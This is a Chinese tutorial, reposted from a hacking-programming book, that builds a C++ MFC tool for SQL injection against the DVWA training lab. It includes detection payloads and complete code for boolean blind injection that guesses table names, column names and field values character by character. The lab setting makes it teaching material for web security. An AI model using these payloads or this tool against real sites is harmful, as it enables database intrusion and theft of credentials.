网络安全编程:开发SQL注入工具

Posted 计算机与网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全编程:开发SQL注入工具相关的知识,希望对你有一定的参考价值。

一次性付费进群,长期免费索取资料。




SQL注入的产生是由于程序没有对外部的输入进行过滤,从而导致被精心构造的外来数据被注入到SQL语句中被执行而产生的黑客攻击。本文针对DVWA编写一个简单的用于辅助SQL注入的工具,在编写工具的同时可以从原理和本质上来了解SQL注入的形成。除了DVWA以外,还有许许多多不同的Web安全练习平台,无论是哪种Web安全练习平台都少不了最基础的练习。

在拿到一个网站要进行注入时,需要检测确认该网站是否存在已知的SQL注入的漏洞,那么就需要有进行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常见有字符型注入、数值型注入和搜索型注入。虽然注入被分为了3类,但是它们的检测思路是相通的,下面举例介绍一下。

在登录某个Web系统时,首先会要求输入自己的用户名和密码,然后提交给Web服务器,Web服务器接收请求后转交给Web脚本去处理请求,接着Web脚本会用得到的用户名和密码去数据库中匹配是否存在该用户名,且该用户名的密码是否正确。在数据库中进行查询的语言就叫作SQL,即结构化查询语言。对于进行用户名和密码匹配的SQL脚本大体如下所示:
  
    
    
  
Select * from user where username='admin' and password='123456'
在上面的SQL语句中,就是要在user表中去匹配是否存在用户名为admin和密码为123456的记录。注意,这里的admin和123456都是用引号引住的,说明这两个值是字符型。

平时在浏览网页时,可能会看到如下的连接:
  
    
    
  
http://localhost/article.php?id=1
在这个URL中,article.php是请求的页面,id=1是提交给article.php的参数。而这个参数有可能是数值型,也有可能是字符型,用该id在数据库中查询可能是以下两种情况。
  
    
    
  
Select * from article where id = 1
上面的是数值型,对于字符型是如下的查询语句:
  
    
    
  
Select * from article where id = '1'
最后再说一下搜索型,搜索型一般是用在搜索栏的位置上,用于输入某个关键字然后在数据库中对该关键字进行匹配,比如要搜索所有以“微信公众号:计算机与网络安全”为标题的文章,可能的查询语句如下:
Select * from article where title like '%微信公众号:计算机与网络安全%'
在做搜索型查询时,在输入的关键字的两边有“%”,它用于匹配任何字符,而且查询时不再使用“=”,而是使用“like”关键字。

这就是3种不同的查询方式,而在实际写SQL的时候很少有人描述字符型查询、数值型查询的,因为编写SQL的人知道查询的值是什么类型,如果是数值就直接写,如果是字符则在字符的两侧加单引号。但是对于在进行注入检测时,是哪种类型就需要靠猜测了。

接着介绍Web脚本是如何让SQL去数据库中进行查询的,以下面这个URL进行说明。
  
    
    
  
http://localhost/article.php?id=1
如果这里的id是字符型,那么在Web脚本语言中可能是如下代码(以PHP语言说明)。
  
    
    
  
$id = $_GET['id']; $sql = "select * from article where id = '" . $id . "'"; mysql_query($sql);
首先获得id,接着将id进行拼接,注意在id前后都有一个单引号,拼接好以后就和前面介绍的语句一样了。如果是数值型的话,PHP语言的代码如下:
  
    
    
  
$id = $_GET['id']; $sql = "select * from article where id = " . $id; Mysql_query($sql);
注意看,在拼接查询语句时是没有单引号的。

基础部分已经差不多了,那么来说说检测是否存在SQL注入的方法,仍然使用上面的URL来介绍,如何判断article.php?id=1这个URL是否存在注入呢?如果是数值型查询,那么只要在id=1后面跟一个and 1=1就可以了,URL如下:
  
    
    
  
http://localhost/article.php?id=1 and 1=1
如果是字符型查询,那么只要在id=1后面跟一个’ and ‘1’=’1就可以了,URL如下:
  
    
    
  
http://localhost/article.php?id=1' and '1'='1
为什么要加个and呢,and后面为什么是1=1呢?因为and是逻辑与关系,and前面的表达式为真,且and后面的表达式也为真时,and表达式为真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在数据库中仍然会把正确的数据进行返回,也就是说id=1和id=1 and 1=1返回的内容应该是一样的。字符型中的单引号是用来在进行SQL字符串拼接时使用的,大家可以自行查看字符型的查询代码前面的SQL语句。

但是只通过and 1=1是无法说明问题的,还需要另外一个and表达式来进行测试,URL如下:
  
    
    
  
http://localhost/article.php?id=1 and 1=2
判断完and 1=1以后,就需要判断and 1=1,因为1=2是假,因此id=1 and 1=2的and表达式肯定为假,当为假的时候则无法返回正确的内容,也就是说id=1 and 1=2是无法返回与id=1相同的结果的。
因此,在进行SQL注入检测的时候,需要根据不同的类型来构造不同的检测判断,当and 1=1返回的内容与原内容相同,且and 1=2返回的内容与原内容不同时,基本就可以判定是存在SQL注入的了。

在DVWA中对上面的原理进行演示,将DWVA的安全级别设置为“Low”,然后进入“SQL Injection”模块,在界面中输入1,并进行提交,返回的页面被称为A页面,如图1所示。
图1  输入User ID为1的输出

再输入1' and '1'='1,这里是字符型的注入,是笔记已经测试过的,DVWA返回结果如图2所示,该页面被称为B页面。
网络安全编程:开发SQL注入工具
图2  输入User ID为1' and '1'='1的输出

再输入1' and '1'='2,DVWA返回结果什么都没有,这个什么都没有返回的页面是C页面。判断是否存在注入的判定条件是,A页面的内容和B页面的内容相同,而B页面的内容和A页面的内容不相同。但是从返回页面来看A页面和B页面也有少许差异,但是差异并不在查询后的返回的内容上,而是将输入的内容显示到页面上以后又导致有了差异,那么A页面和B页面不完全相同了,如何进行判定呢?既然只是部分不相同了,那么还是不影响判定的,可以匹配页面的相似度,也可以去匹配页面上的特征码。匹配相似度可能稍微麻烦,但是匹配特征码就相对简单了,只要能查询出结果,就会在页面上返回“First name”和“Surname”,那么就用页面上的“First name”来作为特征码,判定条件就变了,在A页面上有“First name”,B页面上也有“First name”,且C页面上没有“Firstname”那么就判定该页面存在SQL注入。

在“SQL Injection”模块中提交了数据以后,URL的地址如下:
  
    
    
  
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 
地址栏的数据是?id=1&Submit=Submit这样的,经过测试,如果地址栏没有Submit=Submit则提交后会有问题,但是它的存在不利于测试,那么修改该URL地址如下:
  
    
    
  
http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 
通过这样既保留了Submit=Submit,又可以利用id=1进行注入测试了。

有了上面的思路以后,就来看一下接下来要编写的程序,如图3所示。
网络安全编程:开发SQL注入工具
图3  SQL注入检测程序

在图中先将需要检测的URL地址填入,然后填入特征码,选择好注入的类型,然后单击“测试”,就会看到测试的情况。下面来看单击“测试”按钮后的代码,代码如下:
  
    
    
  
void CSQLInjectToolsDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); DWORD dwServiceType; // 服务类型 CString strServer; // 服务器地址 CString strObject; // URL 指向的对象 INTERNET_PORT nPort; // 端口号 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); CheckInject(strServer, strObject, nPort); }
获得需要测试的注入地址,以及获得特征码,然后在CheckInject函数中进行检测,CheckInject函数代码如下:
  
    
    
  
void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_ PORT nPort) { CString strUrl; strUrl = "http://" + strServer + strObject; switch ( m_nSel ) { case 1: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试字符型"); if ( Check(strServer, strObject, pCharText[0], pCharText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } case 2: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试数值型"); if ( Check(strServer, strObject, pNumText[0], pNumText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } case 3: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试搜索型"); if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } default: { AfxMessageBox("请选择测试类型!!"); break; } } m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl); // closesocket(m_sock); }
在代码中,switch用来判断选择的是哪种注入的测试类型,然后具体的判断实现在Check函数中,Check函数的代码如下:
  
    
    
  
BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11, CString str12) { BOOL bRet = FALSE; char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; CString strUrl; m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); // 测试真 strUrl = strObject + str11; HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket_11 = szRecvPacket; closesocket(m_sock); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); // 测试假 strUrl = strObject + str12; ZeroMemory(szSendPacket, 1024); ZeroMemory(szRecvPacket, 0x2048); HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket_12 = szRecvPacket; closesocket(m_sock); if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 ) { bRet = TRUE; } return bRet; }
首先连接Web服务器,对服务器发送数据包,然后接收服务器返回的数据包,发送的包是对Web服务器的GET请求,而接收的数据包就是Web服务器返回的网页的内容。第一次发送的是永真的1=1,第二次发送永假的1=2,然后分别在两个包中查找特征码即可。发送的数据包的函数是HttpGet函数,该函数的定义如下:
  
    
    
  
void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost) { wsprintf(strGetPacket, "GET %s HTTP/1.1\r\n" "Host: %s\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;q=0.8\r\n" "Upgrade-Insecure-Requests: 1\r\n" "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r\n" "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r\n" "Accept-Encoding: gzip, deflate, sdch\r\n" "Accept-Language: zh-CN,zh;q=0.8\r\n" "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30; Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033, 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r\n" "Connection: close\r\n\r\n", strUrl, strHost); }
发送的数据包是从Burp中拦截到的数据包,修改包请求的URL和请求主机即可。最后给出代码中对3种注入检测的定义,定义如下:
  
    
    
  
// 字符型 char *pCharText[] = { "%27+and+%271%27=%271", "%27+and+%271%27=%272" }; // 数值型 char *pNumText[] = { " and 1=1", " and 1=2" }; // 搜索型 char *pSearchText[] = { "%25%27+and+1=1+and+%27%25%27=%27%25", "%25%27+and+1=2+and+%27%25%27=%27%25" };
在请求的URL中,空格使用“+”代替,%27表示单引号,%25表示%。在URL中有很多字符出现以后是需要经过编码的,不过好在这里只是使用ASCII码进行了表示,大家在写的时候需要注意。
上面是关于检测的部分,下面来介绍关于利用的部分。利用的部分也类似检测部分的原理,下面介绍如何猜解数据库中的表名。判断数据库中有哪些表,这个也需要用到字典。这个字典可以自己收集,同样也可以在现有的软件中找一些字典来自己使用。

猜解数据库中的表名,同样也是用到SQL语句,还是以DVWA安全级别为“Low”的“SQL Injection”模块来演示,如图4所示。
网络安全编程:开发SQL注入工具
图4  SQL注入对表名的猜解

Exists在SQL中用来检测括号中的查询语句是否返回结果集,上面的查询语句exists(select * from users)中,exists要判断select * from users是否返回了结果集,返回了就为真,没返回就为假,至于返回什么结果集并不重要。由此可以看出exists返回的是一个逻辑值,因此在判断表名是否存在时就是这么判断的。上面构造的查询语句如下:
  
    
    
  
Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and '1'='1'
在exists括号中的users就是要猜解的表名,当表名存在的时候就会有结果集返回,那么exists为真,整个and表达式成立,则页面会返回与正常页面相同的页面,或者返回带有特征码的页面。猜解表单的代码如下:
  
    
    
  
void CSQLInjectToolsDlg::OnBnClickedButton2() { // TODO: 在此添加控件通知处理程序代码 CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); DWORD dwServiceType; // 服务类型 CString strServer; // 服务器地址 CString strObject; // URL 指向的对象 INTERNET_PORT nPort; // 端口号 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); int nTable = sizeof(tables) / MAXBYTE; m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜表名"); for ( int i = 0; i < nTable; i++ ) { CString strUrl_1; // and (select count(*) from user) > 0 strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271", strObject, tables[i]); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; CString tab = tables[i]; if ( strPacket.Find(m_strSign) != -1 ) { tab = tab + "[存在该表]"; } m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab); closesocket(m_sock); } m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜表名"); }
上面的关键在该句代码:
  
    
    
  
strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271", strObject, tables[i]);
该代码用来拼接请求的URL,其中%28和%29是分别代表了“(”和“)”,这两个字符也不能出现在URL中,因此使用ASCII码替换。然后在其中不断地用tables数组中保存的表字典来猜测,表字典的定义如下:
  
    
    
  
// 猜表名 char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
程序运行后的效果如图5所示。
网络安全编程:开发SQL注入工具
图5  SQL注入猜解表名

猜解完表名接下来就要猜解表中的列名,猜解列名如图6所示。
网络安全编程:开发SQL注入工具
图6  SQL注入猜解列名

猜解列名的原理依然类似,代码如下所示:
  
    
    
  
char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"}; void CSQLInjectToolsDlg::OnBnClickedButton3() { // TODO: 在此添加控件通知处理程序代码 CString strTable; CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名 DWORD dwServiceType; // 服务类型 CString strServer; // 服务器地址 CString strObject; // URL 指向的对象 INTERNET_PORT nPort; // 端口号 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); int nColumns = sizeof(columns) / MAXBYTE; m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列名"); for ( int i = 0; i < nColumns; i++ ) { CString strUrl_1; // and (select count(id) from user) > 0 strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+ %%271%%27=%%271", strObject, columns[i], strTable); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; CString col = columns[i]; if ( strPacket.Find(m_strSign) != -1 ) { col = col + "[存在该列]"; } m_ScanList.InsertItem(m_ScanList.GetItemCount(), col); closesocket(m_sock); } m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列名"); }
猜解列名的关键语句如下所示:
  
    
    
  
1' and (select count(password) from users)>0 and '1'='1
猜解列名时,不断地替换count函数括号内的字段名,当该字段存在值时会返回一个大于0的值,使得and表达式成立,于是返回带有特征码的页面。

一般情况下,猜解完列名,就该猜解列里面的值了,这里给出关键的构造SQL的语句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的长度,计算长度的SQL语句如下:
  
    
    
  
1' and (select length(user) from users limit 0,1)=5 and '1'='1
首先length函数是用来计算长度的函数,这里length(user)是用来计算user字段中值的长度,user列中可能不会只有一个值,而是会有多个值,但是判断时只需要取一条记录,因此取了第一条记录,使用的语句是limit 0,1,也就是从第0条记录开始取1条。取出来的记录如果为5则返回真,如果不是5则返回假。

因此,构造该语句时大体如下:
  
    
    
  
strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);
其中n表示第几条记录,len表示猜解的长度,因为长度不固定因此长度使用循环变量逐个尝试即可。比如,猜解的第0条用户名是admin,那么长度就为5,有了长度之后再使用如下的语句猜解每一位的值,猜解admin的过程如下:
  
    
    
  
// 字段值 1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='1 1' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='1 1' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='1 1' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='1 1' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
上面的97表示a,100表示d,该处使用数字、大小写字母进行替换测试即可,当测试条件成功后,测试下一个值,这时就使用到了mid函数,mid函数是用来取值字符串的子串的,因此猜解值时需要双重循环来进行猜解。

下来完成判断列值长度的功能,如图7所示。
网络安全编程:开发SQL注入工具
图7  SQL注入猜解列值长度

在图7中猜解的是users表中第0条记录的user字段(字段就是列),猜解到的长度为5。下面看代码:
  
    
    
  
void CSQLInjectToolsDlg::OnBnClickedButton4() { // TODO: 在此添加控件通知处理程序代码 CString strTable; CString strField; CString strUrl; CString strNum; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名 GetDlgItemText(IDC_EDIT4, strField); // 列名 GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行 DWORD dwServiceType; // 服务类型 CString strServer; // 服务器地址 CString strObject; // URL 指向的对象 INTERNET_PORT nPort; // 端口号 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值长度"); // 求长度 int nLen = 1; while ( nLen <= 64 ) { CString strUrl_1; // and (select length(username) from user limit 1) = 5 strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2 C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x20480); CString strPacket; strPacket = szRecvPacket; if ( strPacket.Find(m_strSign) != -1 ) { closesocket(m_sock); break; } closesocket(m_sock); nLen ++; } CString num; num.Format("%d", nLen); m_ScanList.InsertItem(m_ScanList.GetItemCount(), num); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值长度"); }
最后再来看一下猜解列的值,如图8所示。
网络安全编程:开发SQL注入工具
图8  SQL注入字段值的猜解

在图8中,需要手动输入猜解到的表名、列名和长度,当猜解第0行记录的user列的长度后,一定是猜解第0行记录的user列的值。代码如下:
  
    
    
  
void CSQLInjectToolsDlg::OnBnClickedButton5() { // 在此添加控件通知处理程序代码 CString strTable; CString strField; CString strUrl; CString strNum; int nLen; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名 GetDlgItemText(IDC_EDIT4, strField); // 列名 GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行 nLen = GetDlgItemInt(IDC_EDIT6); DWORD dwServiceType; // 服务类型 CString strServer; // 服务器地址 CString strObject; // URL 指向的对象 INTERNET_PORT nPort; // 端口号 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值"); CString strValue; int i = 1; CString username; // 长度用于猜解每一位 while ( i <= nLen ) { // 这里猜解只猜解小写的字母 // 这里在实际的时候需要改成各种可能的字符 for ( int c = 97; c < 122; c ++ ) { CString strUrl_1; // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97 strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+ from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271",         strObject, strField, i, strTable, strNum, c); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; if ( strPacket.Find(m_strSign) != -1 ) { // 拼接猜解的每一位用户名 username.Format("%s%c", username, c); closesocket(m_sock); break; } closesocket(m_sock); } i ++; } username = username + "[猜解结果]"; m_ScanList.InsertItem(m_ScanList.GetItemCount(), username); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值"); }
到这里整个的关于DVWA系统中针对安全级别为“Low”的“SQL Injection”模块的测试和利用代码就完成了。从整个代码中可以看出,对于基本的掌握SQL的使用是不复杂的,没有接触过的朋友通过少量的时间即可学会。对Web安全感兴趣的朋友,可以跟着DVWA系统进行练习,因为DVWA系统已经基本涉及了Web安全领域入门所需要掌握的常见漏洞,如果大家能够在学习DVWA的过程中将PHP语言学会(DVWA就是PHP+MySQL写的),通过阅读DVWA各个安全级别的代码,不但可以掌握各种漏洞的形成,还能够学习到如何编写安全的Web代码,从而在源头上尽可能地杜绝漏洞的产生。

参考文献:C++ 黑客编程揭秘与防范(第3版)